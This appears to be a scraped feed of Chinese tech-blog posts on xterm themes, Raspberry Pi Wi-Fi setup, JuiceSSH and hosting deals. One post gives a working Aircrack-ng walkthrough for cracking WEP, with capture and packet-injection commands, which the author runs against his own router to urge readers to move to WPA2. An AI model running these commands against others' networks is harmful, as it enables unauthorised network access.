*VT100*color15: rgb:ff/ff/ff ! Theme 20 *VT100*foreground: rgb:aa/aa/aa *VT100*background: rgb:00/00/00 *VT100*color0: rgb:30/34/30 *VT100*color1: rgb:bf/79/79 *VT100*color2: rgb:97/b2/6b *VT100*color3: rgb:cd/cd/c1 *VT100*color4: rgb:86/a2/be *VT100*color5: rgb:d9/b7/98 *VT100*color6: rgb:a1/b5/cd *VT100*color7: rgb:ff/ff/ff *VT100*color8: rgb:cd/b5/cd *VT100*color9: rgb:f4/a4/5f *VT100*color10: rgb:c5/f7/79 *VT100*color11: rgb:ff/ff/ef *VT100*color12: rgb:98/af/d9 *VT100*color13: rgb:d7/d9/98 *VT100*color14: rgb:a1/b5/cd *VT100*color15: rgb:de/de/de ! Theme 21 *VT100*background: rgb:1a/1a/1a *VT100*foreground: rgb:aa/aa/aa *VT100*color0: rgb:00/00/00 *VT100*color8: rgb:66/66/66 *VT100*color1: rgb:9e/18/28 *VT100*color9: rgb:bc/57/66 *VT100*color2: rgb:00/88/00 *VT100*color10: rgb:61/a1/71 *VT100*color3: rgb:d2/bb/4b *VT100*color11: rgb:e7/db/52 *VT100*color4: rgb:41/41/71 *VT100*color12: rgb:50/85/af *VT100*color5: rgb:96/3c/59 *VT100*color13: rgb:a9/7a/99 *VT100*color6: rgb:41/81/79 *VT100*color14: rgb:6b/a4/a4 *VT100*color7: rgb:be/be/be *VT100*color15: rgb:ff/ff/ff ! Theme 22 *VT100*background: rgb:00/00/00 *VT100*foreground: rgb:be/be/be *VT100*color0: rgb:00/00/00 *VT100*color1: rgb:d3/62/65 *VT100*color2: rgb:ae/ce/91 *VT100*color3: rgb:e7/e1/8c *VT100*color4: rgb:7a/7a/b0 *VT100*color5: rgb:96/3c/59 *VT100*color6: rgb:7f/9f/7f *VT100*color7: rgb:be/be/be *VT100*color8: rgb:66/66/66 *VT100*color9: rgb:ef/81/71 *VT100*color10: rgb:e5/f7/79 *VT100*color11: rgb:f0/df/af *VT100*color12: rgb:8e/9f/bc *VT100*color13: rgb:ef/9e/be *VT100*color14: rgb:71/be/be *VT100*color15: rgb:ff/ff/ff ! Theme 24 *VT100*background: rgb:00/00/00 *VT100*foreground: rgb:be/be/be *VT100*color0: rgb:00/00/00 *VT100*color1: rgb:cd/5c/5c *VT100*color2: rgb:8e/ae/71 *VT100*color3: rgb:d2/b4/8c *VT100*color4: rgb:5f/7b/8a *VT100*color5: rgb:cd/cd/b4 *VT100*color6: rgb:68/68/68 *VT100*color7: rgb:ff/ff/ff *VT100*color8: rgb:00/00/00 *VT100*color9: rgb:ee/63/63 *VT100*color10: rgb:95/c7/49 *VT100*color11: rgb:cd/cd/c1 *VT100*color12: rgb:6b/7b/8a *VT100*color13: rgb:cd/cd/b4 *VT100*color14: rgb:77/87/98 *VT100*color15: rgb:ca/ca/ca ! Theme 25 *VT100*background: rgb:00/00/00 *VT100*foreground: rgb:be/be/be *color0: rgb:00/00/00 *color1: rgb:80/00/00 *color2: rgb:00/80/00 *color3: rgb:d0/d0/90 *color4: rgb:00/00/80 *color5: rgb:80/00/80 *color6: rgb:a6/ca/f0 *color7: rgb:d0/d0/d0 *color8: rgb:b0/b0/b0 *color9: rgb:f0/80/60 *color10: rgb:60/f0/80 *color11: rgb:e0/c0/60 *color12: rgb:80/c0/e0 *color13: rgb:f0/c0/f0 *color14: rgb:c0/d8/f8 *color15: rgb:e0/e0/e0 ! Theme 26 *VT100*foreground: #9da560 *VT100*background: #101309 *VT100*color0: #101309 *VT100*color8: #222815 *VT100*color1: #C8611F *VT100*color9: #ffb73e *VT100*color2: #546B28 *VT100*color10: #9fca4e *VT100*color3: #DCA53E *VT100*color11: #ffff77 *VT100*color4: #235967 *VT100*color12: #45a9c2 *VT100*color5: #914C5A *VT100*color13: #ff91aa *VT100*color6: #4F9E4E *VT100*color14: #96ff94 *VT100*color7: #9da560 *VT100*color15: #ffffd8 ! Theme 27 *VT100*foreground: rgb:dd/dd/dd *VT100*background: rgb:22/22/22 *VT100*color0: rgb:19/19/19 *VT100*color8: rgb:25/25/25 *VT100*color1: rgb:80/32/32 *VT100*color9: rgb:98/2b/2b *VT100*color2: rgb:5b/76/2f *VT100*color10: rgb:89/b8/3f *VT100*color3: rgb:aa/99/43 *VT100*color11: rgb:ef/ef/60 *VT100*color4: rgb:32/4c/80 *VT100*color12: rgb:2b/4f/98 *VT100*color5: rgb:70/6c/9a *VT100*color13: rgb:82/6a/b1 *VT100*color6: rgb:92/b1/9e *VT100*color14: rgb:a1/cd/cd *VT100*color7: rgb:ff/ff/ff *VT100*color15: rgb:dd/dd/dd ! Theme 28 *VT100*foreground: #f2f2f2 *VT100*background: #101010 *VT100*color0: #6c6c6c *VT100*color1: #e9897c *VT100*color2: #b6e77d *VT100*color3: #ecebbe *VT100*color4: #a9cdeb *VT100*color5: #ea96eb *VT100*color6: #c9caec *VT100*color7: #f2f2f2 *VT100*color8: #747474 *VT100*color9: #f99286 *VT100*color10: #c3f786 *VT100*color11: #fcfbcc *VT100*color12: #b6defb *VT100*color13: #fba1fb *VT100*color14: #d7d9fc *VT100*color15: #e2e2e2 這測試顏色用的 Bash 指令稿，以上這些色碼表就是用這個程式跑出來的：\n#!/bin/bash echo \u0026#34;Background | Foreground colors\u0026#34; echo \u0026#34;---------------------------------------------------------------------\u0026#34; for((bg=40;bg\u0026lt;=47;bg++)); do for((bold=0;bold\u0026lt;=1;bold++)) do echo -en \u0026#34;\\033[0m\u0026#34;\u0026#34; ESC[${bg}m | \u0026#34; for((fg=30;fg\u0026lt;=37;fg++)); do if [ $bold == \u0026#34;0\u0026#34; ]; then echo -en \u0026#34;\\033[${bg}m\\033[${fg}m [${fg}m \u0026#34; else echo -en \u0026#34;\\033[${bg}m\\033[1;${fg}m [1;${fg}m\u0026#34; fi done echo -e \u0026#34;\\033[0m\u0026#34; done done ","permalink":"https://blog.gtwang.org/linux/xterm-theme-examples/","summary":"\u003cp\u003e這裡介紹如何設定 \u003ccode\u003exterm\u003c/code\u003e 虛擬終端機的配色，讓文字介面的命令列看起來也可以非常漂亮。\u003c/p\u003e\n\u003cp\u003e在 Linux 中若要讓命令列更好用，除了\u003ca href=\"/linux/linux-change-xterm-font-family-and-size/\"\u003e設定 xterm 的字型\u003c/a\u003e之外，佈景主題也是非常重要的一環，以下介紹 \u003ccode\u003exterm\u003c/code\u003e 的終端機顏色設定方式。\u003c/p\u003e","title":"Linux 的 xterm 佈景主題顏色設定教學與範例，讓終端機加上彩色"},{"content":"本篇示範使用樹莓派破解 WEP WiFi 的密碼，讓您知道 WEP 加密的防禦力有多低，若您的無線網路還在使用 WEP 加密，請更換為新的加密方式，例如 WPA2。\nWEP 無線網路加密方式已經是被公認無效的技術，想破解無線網路 WEP 加密，已經不需要專業，但是還是會有少數人依然還在使用它，這裡我用很簡單的一張樹莓派開發板，加上一隻 TP-LINK TL-WN722N USB 無線網路卡，示範在五分鐘內破解 WEP 的密碼。\n這裡我用一台很老舊的 D-Link DI-524 無線網路路由器做測試。\n這台路由器已經用了十幾年了，到現在還沒壞。\n我將無線網路的加密方式設定為 WEP，當然這是為了測試用才這樣設定，平常在用的話，請不要使用 WEP，因為他的安全性太弱，防禦能力幾乎等於零。\n我把無線網路的密碼設定為 12345ABCDE，接著就可以使用 Aircrack-ng 這個工具來破解這組密碼。\n使用 airmon-ng 查看目前樹莓派的網路卡狀況：\nairmon-ng Interface Chipset Driver wlan0 Unknown brcmfmac_sdio - [phy0] wlan1 Atheros AR9271 ath9k - [phy1] 我這次用的是第三代的樹莓派，所以 wlan0 是內建的無線網路卡，我們選擇 wlan1 這個外接的 TP-LINK TL-WN722N USB 無線網路卡：\nairmon-ng start wlan1 Found 5 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them! PID Name 479 wpa_supplicant 521 dhcpcd 524 avahi-daemon 561 avahi-daemon 1532 wpa_supplicant Process with PID 479 (wpa_supplicant) is running on interface wlan0 Process with PID 1532 (wpa_supplicant) is running on interface wlan1 Interface Chipset Driver wlan0 Unknown brcmfmac_sdio - [phy0] wlan1 Atheros AR9271 ath9k - [phy1] (monitor mode enabled on mon0) 必要時將會有影響的行程刪除：\nairmon-ng check kill 查看所有無線網路 AP 與設備：\nairodump-ng mon0 擷取 WiFi 無線網路封包資料：\nairodump-ng -w hack.data -c 6 --bssid 00:13:46:5B:24:57 mon0 這是擷取封包資料的畫面：\n資料不足時，可插入人造封包：\naireplay-ng -1 0 -a 00:13:46:5B:24:57 mon0 aireplay-ng -3 -b 00:13:46:5B:24:57 mon0 插入封包之後，可大量增加 data packets 數量。\n最後使用 aircrack-ng 計算 WEP 密碼：\naircrack-ng hack.data-01.cap 這整個破解過程不用五分鐘，步驟我並沒有寫得很詳細，目的只是讓大家知道破解 WEP 有多快速（對於懂的人來說），所以如果您還在使用 WEP 的無線網路，請立刻改用更新的加密技術（例如 WPA2），否則您的無線網路等於是公開的。\n參考資料 iThome 雅技資訊日誌 ","permalink":"https://blog.gtwang.org/iot/raspberry-pi/aircrack-ng-cracking-wep-wifi-using-the-raspberry-pi/","summary":"\u003cp\u003e本篇示範使用樹莓派破解 WEP WiFi 的密碼，讓您知道 WEP 加密的防禦力有多低，若您的無線網路還在使用 WEP 加密，請更換為新的加密方式，例如 WPA2。\u003c/p\u003e\n\u003cp\u003eWEP 無線網路加密方式已經是被公認無效的技術，\u003ca href=\"https://www.ithome.com.tw/tech/96290\"\u003e想破解無線網路 WEP 加密，已經不需要專業\u003c/a\u003e，但是還是會有少數人依然還在使用它，這裡我用很簡單的一張\u003ca href=\"/categories/%E6%A8%B9%E8%8E%93%E6%B4%BE/\"\u003e樹莓派開發板\u003c/a\u003e，加上一隻 \u003ca href=\"/unboxing/tp-link-tl-wn722n-150mbps-usb-wireless-card/\"\u003eTP-LINK TL-WN722N USB 無線網路卡\u003c/a\u003e，示範在五分鐘內破解 WEP 的密碼。\u003c/p\u003e","title":"樹莓派 Raspberry Pi 使用 Aircrack-ng 破解 WEP WiFi 密碼教學"},{"content":"Lifetime.Hosting 是一家提供終身網頁主機空間與網域名稱的主機商，對種方案對於小型的工作室或是個人網站來說是一個不錯的選擇。\n如果想要自己架設網站，第一步就是要準備一個網頁主機空間，目前市面上的主機商非常多，例如 Bluehost、HostGator、iPage 等等，選擇這類的網頁主機空間可以說是最簡單又快速的做法，不需要管理伺服器，只需要管理網頁內容即可。\n另外對於比較專業的網站來說，可以選擇 Linode 或是 DigitalOcean 這類的 VPS 自行架設 Linux 系統，彈性更大、效能也會更好，當然這也需要相當專業的 Linux 與網路技術才行。\n絕大多數的網頁主機都是以租用的方式提供給使用者，最常見的就是月租、年租，而有些 VPS 還會採用以小時計費的方式，這種計費方式其實對於很小型的網站來說並不是非常划算，因為通常主機商所提供的網頁空間方案都是為一般正常的網站設計的，如果您只是想要有一個工作室或個人的網站，給自己的客戶看一些資料，其實這樣的網站流量很小，但是每月都要付正常主機空間的租金，有點浪費。\n如果您真的有決心想要架設網站，而且想要省錢的話，Lifetime.Hosting 是一個可以考慮主機商，它提供了「終身」網頁主機空間與網域名稱服務，也就是說只要付一次錢，永久都可以使用，只要網站一架，以後完全不用擔心還要付維護費，對於資料不多的小型網站來說很划算。\n最近 Stack Social 上有 Lifetime.Hosting 終身主機空間的特價方案，原價 $79.90 美金，特價之後只要 $19.99 美金，而且附贈的網域空間也是可以終身使用的！\n名稱：Lifetime.Hosting 終身網頁主機空間\n特價網址：Stack Social\n官方網站：Lifetime.Hosting\n這次的特價方案有三種，以下是三種方案的詳細整理，給大家參考。\n規格\\方案 Lite Plan Standard Plan Delux Plan 網站數 1 個 6 個 12 個 硬碟空間 250 MB SSD 6 GB SSD 12 GB SSD 網路流量 無限 無限 無限 Uptime 99.9% 99.9% 99.9% 附贈網址 有 有 有 Email 帳號數 無限 無限 無限 原價 $79.90 $159.90 $199.90 特價 $19.99 $49.99 $69.99 ","permalink":"https://blog.gtwang.org/web-hosting/lifetime-hosting-on-sale-201611/","summary":"\u003cp\u003eLifetime.Hosting 是一家提供終身網頁主機空間與網域名稱的主機商，對種方案對於小型的工作室或是個人網站來說是一個不錯的選擇。\u003c/p\u003e\n\u003cp\u003e如果想要自己架設網站，第一步就是要準備一個網頁主機空間，目前市面上的主機商非常多，例如 \u003ca href=\"/web-hosting/bluehost-shared-hosting-registration-tutorial/\"\u003eBluehost\u003c/a\u003e、\u003ca href=\"https://partners.hostgator.com/c/219568/177309/3094\"\u003eHostGator\u003c/a\u003e、\u003ca href=\"https://www.ipage.com/join/index.bml?AffID=835490\"\u003eiPage\u003c/a\u003e 等等，選擇這類的網頁主機空間可以說是最簡單又快速的做法，不需要管理伺服器，只需要管理網頁內容即可。\u003c/p\u003e","title":"[26折] Lifetime.Hosting 終身網頁主機空間與網域名稱"},{"content":"這裡介紹如何在樹莓派的終端機中以指令的方式，調整無線網路的組態設定，讓樹莓派可以連上網路。\n樹莓派在有 X Window 桌面環境時，可以很方便使用圖形界面的網路工具設定無線網路，使用方式很直覺，直接從選單中選擇要連線的無線網路即可。\n在 Raspbian Linux 系統安裝完成後，預設的網路設定工具就會顯示在右上角的系統圖示列中。\n但如果是沒有啟用 X Window 桌面環境的樹莓派，要設定無線網路的話，就要在命令列中以指令的方式操作，以下是設定 Linux 無線網路相關的指令教學。\n首先檢查一下所有的網路卡狀態：\nifconfig eth0 Link encap:Ethernet HWaddr b8:27:eb:e4:3f:da inet6 addr: fe80::b7b3:9f32:8071:b682/64 Scope:Link UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:328 errors:0 dropped:0 overruns:0 frame:0 TX packets:328 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1 RX bytes:26616 (25.9 KiB) TX bytes:26616 (25.9 KiB) wlan0 Link encap:Ethernet HWaddr e8:4e:06:1f:ff:4e inet addr:192.168.50.1 Bcast:192.168.50.255 Mask:255.255.255.0 inet6 addr: fe80::ea4e:6ff:fe1f:ff4e/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1363 errors:0 dropped:476 overruns:0 frame:0 TX packets:656 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:103353 (100.9 KiB) TX bytes:143070 (139.7 KiB) wlan1 Link encap:Ethernet HWaddr f8:1a:67:18:3a:ab inet6 addr: fe80::7cb0:b6af:2951:cbb2/64 Scope:Link UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) 以我的狀況來說，我在第一代的樹莓派上插上兩張 USB 的無線網路卡，第一張 wlan0 用於對內的區域網路，而第二張 wlan1 則準備用於對外的網際網路連線，所以接下來我要在命令列設定 wlan1 的網路組態，讓它可以對外連線。\nsudo iwlist wlan1 scan wlan1 Scan completed : [略] Cell 04 - Address: C4:6E:1F:C1:8E:EE Channel:6 Frequency:2.437 GHz (Channel 6) Quality=42/70 Signal level=-68 dBm Encryption key:on ESSID:\"SEAL\" Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s 9 Mb/s; 12 Mb/s; 18 Mb/s Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s Mode:Master Extra:tsf=000003a7f3f68cb7 Extra: Last beacon: 700ms ago IE: Unknown: 00045345414C IE: Unknown: 010882848B960C121824 IE: Unknown: 030106 IE: Unknown: 0706545720010B1B IE: Unknown: 2A0100 IE: IEEE 802.11i/WPA2 Version 1 Group Cipher : TKIP Pairwise Ciphers (2) : CCMP TKIP Authentication Suites (1) : PSK IE: Unknown: 32043048606C IE: Unknown: 2D1A6E1103FF00000000000000000000000000000000000000000000 IE: Unknown: 3D1606071500000000000000000000000000000000000000 IE: WPA Version 1 Group Cipher : TKIP Pairwise Ciphers (2) : CCMP TKIP Authentication Suites (1) : PSK IE: Unknown: DD180050F2020101030003A4000027A4000042435E0062322F00 IE: Unknown: DD1E00904C336E1103FF00000000000000000000000000000000000000000000 IE: Unknown: DD1A00904C3406071500000000000000000000000000000000000000 IE: Unknown: DD0900037F01010000FF7F IE: Unknown: DD990050F204104A0001101044000102103B0001031047001000000000000010000000C46E1FC18E101021000754502D4C494E4B10230009544C2D57523734304E10240003342E3010420003312E301054000800060050F204000110110019576972656C65737320526F7574657220544C2D57523734304E100800020086103C000101104900140024E26002000101600000020001600100020001 [略] ESSID:\u0026quot;SEAL\u0026quot; 代表無線網路的名稱為 SEAL。IE: IEEE 802.11i/WPA2 代表這個 WiFi 無線網路支援目前比較新的 WPA2 加密。\n依據 ESSID 名稱找到要連線的 WiFi 無線網路之後，編輯 /etc/wpa_supplicant/wpa_supplicant.conf 設定檔，加入這個無線網路的設定：\nnetwork={ ssid=\u0026#34;SEAL\u0026#34; psk=\u0026#34;your_password\u0026#34; } 其中的 psk 就是無線網路的密碼。若要查詢其他更詳細的設定方式，請參考 wpa_supplicant.conf 的 man page：\nman wpa_supplicant.conf 一般來說，wpa_supplicant 會自動偵測到設定檔的變更並且載入新的設定，若沒有自動生效的話，就使用手動的方式重新啟動無限網路卡：\nsudo ifdown wlan1 sudo ifup wlan1 查看 wlan1 的網路狀態：\nifconfig wlan1 wlan1 Link encap:Ethernet HWaddr f8:1a:67:18:3a:ab inet addr:192.168.0.104 Bcast:192.168.0.255 Mask:255.255.255.0 inet6 addr: fe80::7cb0:b6af:2951:cbb2/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:69 errors:0 dropped:0 overruns:0 frame:0 TX packets:78 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:14363 (14.0 KiB) TX bytes:13491 (13.1 KiB) 確認一下 inet addr 欄位的 IP 位址，通常只要有拿到 IP 位址就表示設定沒問題，這樣就完成無線網路的設定了。\n如果在終端機之下，要設定網路又不想輸入那麼多指令，可以改用 wicd-curses 這個小工具，請參考 raspyFi 的教學。\n參考資料 葉難 ","permalink":"https://blog.gtwang.org/iot/raspberry-pi/raspberry-pi-wireless-configuration-command-tutorial/","summary":"\u003cp\u003e這裡介紹如何在樹莓派的終端機中以指令的方式，調整無線網路的組態設定，讓樹莓派可以連上網路。\u003c/p\u003e\n\u003cp\u003e樹莓派在有 X Window 桌面環境時，可以很方便使用圖形界面的網路工具設定無線網路，使用方式很直覺，直接從選單中選擇要連線的無線網路即可。\u003c/p\u003e","title":"樹莓派 Raspberry Pi 在命令列設定 WiFi 無線網路的指令教學"},{"content":".1.Free WiFi 是一個可以讓人點擊廣告後，免費使用無線網路上網的服務，用個服務看一些公開資訊相當方便。\n最近發現許多便利商店與公共場所都有一個 .1.Free WiFi 免費無線網路，只要點擊廠商提供的廣告，就可以立刻享受免費的 WiFi，不需要註冊或登入，也沒有電信業者或手機品牌的限制，對於臨時要查詢一些公開資訊的人來說，可說是相當方便。\n.1.Free WiFi 是一個未加密的公開無線網路，由於這家業者是跟中華電信合作的，所以通常 .1.Free WiFi 的熱點都是跟中華電信的 WiFi 熱點佈署在一起，而且在全台灣各地幾乎都有，連上這個網路之後，就會出現這個歡迎畫面。\n在使用免費的網路之前，要先選一個自己喜歡的廣告來觀看，看完廣告之後，就可以上網了。\n它的廣告種類還滿多的，我選一個不動產的廣告，點進去看個幾秒鐘就可以把它關掉，開始上網。由於它門的網路都是中華電信提供的，所以品質都跟中華電信應該差不了太多。\n這是我用 SPEEDTEST 與 FAST 兩個熱門的測速軟體，實際測試 .1.Free WiFi 免費無線網路速度的結果，下載速度是 18.3 Mbps，而上傳速度則是 4.5 Mbps 左右，而且看起來網路品質相當穩定，當然這個數據可能因為不同地區會有不同。\n由於 .1.Free WiFi 是完全公開的網路，所以在上網時就要注意自己資料的安全問題，這種網路比較適合用來玩遊戲打發時間（像抓寶可夢）、查天氣預報、公車資訊等公開的資料，千萬不要在這種公開的網路登入任何網站的帳號與密碼，包含加密的網站也盡量避免，而像信用卡號碼、個人基本資料等敏感資訊，當然是更不能在這裡輸入的。\n名稱：點一點 .1.Free WiFi 免費無線網路\n網站：官方網站\n","permalink":"https://blog.gtwang.org/funny/dot-one-dot-free-wifi/","summary":"\u003cp\u003e.1.Free WiFi 是一個可以讓人點擊廣告後，免費使用無線網路上網的服務，用個服務看一些公開資訊相當方便。\u003c/p\u003e\n\u003cp\u003e最近發現許多便利商店與公共場所都有一個 .1.Free WiFi 免費無線網路，只要點擊廠商提供的廣告，就可以立刻享受免費的 WiFi，不需要註冊或登入，也沒有電信業者或手機品牌的限制，對於臨時要查詢一些公開資訊的人來說，可說是相當方便。\u003c/p\u003e","title":"點一點 .1.Free WiFi 免費無線網路，點廣告即可上網"},{"content":"JuiceSSH 是一個 Android 手機上的 SSH 連線軟體，可讓使用者輕鬆以 SSH 安全加密的方式連線至伺服器，非常方便。\n對於 Linux 老手而言，不管是開發程式還是管理伺服器，總是時常會需要透過 SSH 遠端連線至伺服器來進行一些操作，而現在的智慧型手機算是一種最方便的隨身 thin client，不會像 PC 或筆電那麼笨重，如果可以用手機來做 SSH 連線是最方便不過了。\nJuiceSSH 是一款 Android 手機上的 SSH app 連線軟體，雖然這個工具只是普通的 SSH 連線軟體，不過真的做的非常好用，所以特別在這裡介紹給大家！\n名稱：JuiceSSH SSH 連線軟體\n適用平台：Android\n下載網址：Google Play\n通常 Linux 的使用者可能會用同一組帳號登入多台主機，JuiceSSH 的介面設計很不錯，在連線之前，可以先建立伺服器的連線資訊以及帳號資料，而帳號的資料與伺服器的資料是分開儲存的，這樣的話可以很方便的管理帳號。\n在 JuiceSSH 建立 SSH 連線時，畫面下方會顯示非常詳細的 SSH 連線訊息，可以看到連線建立的每一個步驟與狀態，這對於熟悉低階 SSH 傳輸協定的熟手來說，是相當不錯的功能，尤其是在除錯的時候。\nJuiceSSH 支援的連線類型包含 SSH、Mosh、Telnet 以及 Android 本機的 shell，而終端機的字體也支援 UTF8，可以外接鍵盤（藍芽或 USB-OTG）。\n虛擬終端機軟體除了基本的連線與操作，我個人覺得最重要的就是佈景主題了，JuiceSSH 預設的墨綠色佈景主題配色看起來非常舒服，而且它還提供了好幾種主題顏色供使用者選擇，這也是我非常喜歡的功能。\n墨綠色的配色比較不會傷眼，另外我有時候也會使用這種黑底綠字的駭客風格配色，看起來眼睛也會比較舒服。\nJuiceSSH 的字體大小可以在使用中以音量鍵動態調整，有時候突然輸出的訊息比較多的話，就可以將字體調小一點，方便查看完整的訊息，平常的使用就可以把字體調大，保護眼睛。\nJuiceSSH 還有一些外掛插件可以使用，畢竟會用手機連 SSH 的人應該都是 Linux 玩家，甚至是駭客等級的人，而這些插件真的都是設計給 Linux 熟手用的，連 Port Knocker 都有，相當不錯。\n對於 Linux 管理者來說，最常用的插件應該就是系統監控面板了，它的 Performance Monitor 插件可以很清楚顯示伺服器的主要資訊，雖然看起來像老人機，不過很實用。\nJuiceSSH 還有許多付費版本的專業功能，像是自訂程式碼、Amazon EC2 連結與 AES-256 加密雲端備份設定等，不過這些功能應該是職業 Linux 管理者才會需要，對於一般的使用者來說，免費版就很夠用了。\n","permalink":"https://blog.gtwang.org/linux/juicessh-ssh-client-android-app/","summary":"\u003cp\u003eJuiceSSH 是一個 Android 手機上的 SSH 連線軟體，可讓使用者輕鬆以 SSH 安全加密的方式連線至伺服器，非常方便。\u003c/p\u003e\n\u003cp\u003e對於 Linux 老手而言，不管是開發程式還是管理伺服器，總是時常會需要透過 SSH 遠端連線至伺服器來進行一些操作，而現在的智慧型手機算是一種最方便的隨身 thin client，不會像 PC 或筆電那麼笨重，如果可以用手機來做 SSH 連線是最方便不過了。\u003c/p\u003e","title":"JuiceSSH：Android 手機 SSH 安全加密連線軟體 App"},{"content":"這裡介紹如何在 Linux 指定 xterm 終端機所使用的字型與大小，讓眼睛看起來更舒服。\n在使用或管理 Linux 系統時，終端機勢不可或缺的一項工具，大部分的 Linux 發行版都會有自己的虛擬終端機程式，而 xterm 則是 X Window 上最傳統也是最標準的一個虛擬終端機工具，幾乎每一台有 X Window 桌面環境的 Linux 系統都會安裝這個工具，所以不管您習慣使用哪一種 Linux 發行版或終端機程式，xterm 也還是要會使用，就像不管您喜不喜歡用 vi，多少還是要知道如何操作一樣。\n如果想要更改 xterm 的顏色，可參考 xterm 佈景主題顏色設定教學。\n圖形介面選單 在一般的 Linux 中，xterm 的預設字型都非常小，在解析度比較高的螢幕上看起來，文字就顯得非常不清楚：\n其實這個問題只要稍微調整一下字型就可以解決了，按下 Ctrl 鍵之後，在 xterm 視窗上按下滑鼠右鍵，就會出現一個字型選單：\n在這個字型的選單中，我們就可以輕鬆調整 xterm 的字型大小了。\n命令列參數設定 除了使用圖形選單之外，xterm 當然也可以使用命令列的參數來調整字型，以下是我常用的幾種 xterm 參數組合範例。\n讓 xterm 使用 Monospace 等寬字型，而字型大小設定為 12：\nxterm -fa Monospace -fs 12 這樣的設定是最簡單的，效果如下：\n可用的 TrueType 字型名稱可以使用這行指令查詢：\nfc-list | cut -f2 -d: | sort -u 使用 X server 的點陣字型：\nxterm -fn 7x13 同時指定兩種字型，一種不能使用時，可自動以另外一種替代：\nxterm -fn 7x13 -fa \u0026#34;Monospace:size=10:antialias=false\u0026#34; X Window 下的 xfontsel 字型選擇工具可以讓使用者方便選擇字型：\nxfontsel 選擇好字型組合之後，點選左上角的「select」，就會將字型設定複製到剪貼簿中：\nxterm -fn \u0026#34;-adobe-courier-medium-r-normal-*-20-*-*-*-*-*-*-*\u0026#34; 列出所有可用的字型組合：\nxlsfonts 設定檔 如果想要更改 xterm 啟動時的預設字型設定，可以編輯其設定檔。X Window 下各種核心程式的預設值設定檔是放在 /etc/X11/app-defaults/ 之下，以 xterm 而言就是 /etc/X11/app-defaults/XTerm 這個設定檔，修改這個檔案可以直接改變所有使用者的設定。\n對於個別的使用者而言，可以編輯自己的 ~/.Xresources 設定檔，加入字型的設定：\nxterm*faceName: Monospace:size=10:antialias=false xterm*font: 7x13 更改完設定之後，請重新啟動 X Window，或是執行：\nxrdb -merge ~/.Xresources 這樣新的設定才會生效。\n安裝字型 我們也可以安裝自己喜歡的 TrueType 字型，設定給 xterm 來使用，我以 Liberation Mono 這個字型為例，示範如何安裝新的字型。\n首先下載這個字體的壓縮檔，將其解壓縮：\nunzip liberation-mono.zip 建立個人放置字型的目錄，預設是 ~/.fonts：\nmkdir -p ~/.fonts 將新的字型置入其中：\nmv *.ttf ~/.fonts 更新字型資料庫：\nfc-cache -v 這樣就可以使用新的字型了：\nxterm -fa \u0026#34;Liberation Mono:size=10:antialias=false\u0026#34; 將新的字型用於 ~/.Xresources 設定檔：\nxterm*faceName: Liberation Mono:size=10:antialias=false xterm*font: 7x13 有些不錯的字型也可以直接以 apt 安裝，例如許多人都推薦的 terminus 字型：\nsudo apt-get install xfonts-terminus 使用 apt 安裝的字型可以直接使用：\nxterm -fn \u0026#34;-xos4-terminus-medium-r-normal--16-160-72-72-c-80-iso8859-1\u0026#34; 參考資料 ArchWiki superuser ","permalink":"https://blog.gtwang.org/linux/linux-change-xterm-font-family-and-size/","summary":"\u003cp\u003e這裡介紹如何在 Linux 指定 \u003ccode\u003exterm\u003c/code\u003e 終端機所使用的字型與大小，讓眼睛看起來更舒服。\u003c/p\u003e\n\u003cp\u003e在使用或管理 Linux 系統時，終端機勢不可或缺的一項工具，大部分的 Linux 發行版都會有自己的虛擬終端機程式，而 \u003ca href=\"https://zh.wikipedia.org/wiki/Xterm\"\u003exterm\u003c/a\u003e 則是 X Window 上最傳統也是最標準的一個虛擬終端機工具，幾乎每一台有 X Window 桌面環境的 Linux 系統都會安裝這個工具，所以不管您習慣使用哪一種 Linux 發行版或終端機程式，\u003ccode\u003exterm\u003c/code\u003e 也還是要會使用，就像不管您喜不喜歡用 \u003ccode\u003evi\u003c/code\u003e，多少還是要知道如何操作一樣。\u003c/p\u003e","title":"Linux 更改 xterm 終端機的字型大小等設定"},{"content":"本篇介紹如何在 Windows 中改變硬碟分割區的大小，解決 C 槽空間不足的問題。\n在 Windows 系統上的軟體在安裝時，大部分的資料檔案都是放在 C 槽中，如果在一開始安裝 Windows 系統時，沒有將 C 槽磁碟分割區規劃大一點，在電腦使用了一段時間之後，很容易就會出現 C 槽空間不足的問題。\n如果 C 槽空間不夠，甚至接近完全塞滿的狀況，很容易造成電腦當機。\n如果在您的硬碟中還有一些多餘的空間，就可以利用 Windows 內建的磁碟管理工具，把 C 槽的大小調整一下，這樣就可以馬上解決 C 槽空間不夠的問題了。\n從左方的選單中，選擇「磁碟管理」，接著就可以看到電腦上所有的硬碟配置狀況，首先找到 C 槽的位置，然後看看它的後方是否有多餘的空間可以讓它擴增空間，通常 C 槽的後方會是其他的分割區（例如 D 槽、E 槽等），最常見的作法就是把 D 槽的資料搬到其他的地方，把 D 槽刪掉後，把空出來的磁碟空間留給 C 槽使用。\n總而言之，就是想辦法把 C 槽之後的硬碟空間空出來，不管是調整其他的分割區大小，或是把沒用的分割區刪掉都可以，將後方的空間空出來之後，就可以調整 C 槽的空間了。\n在 C 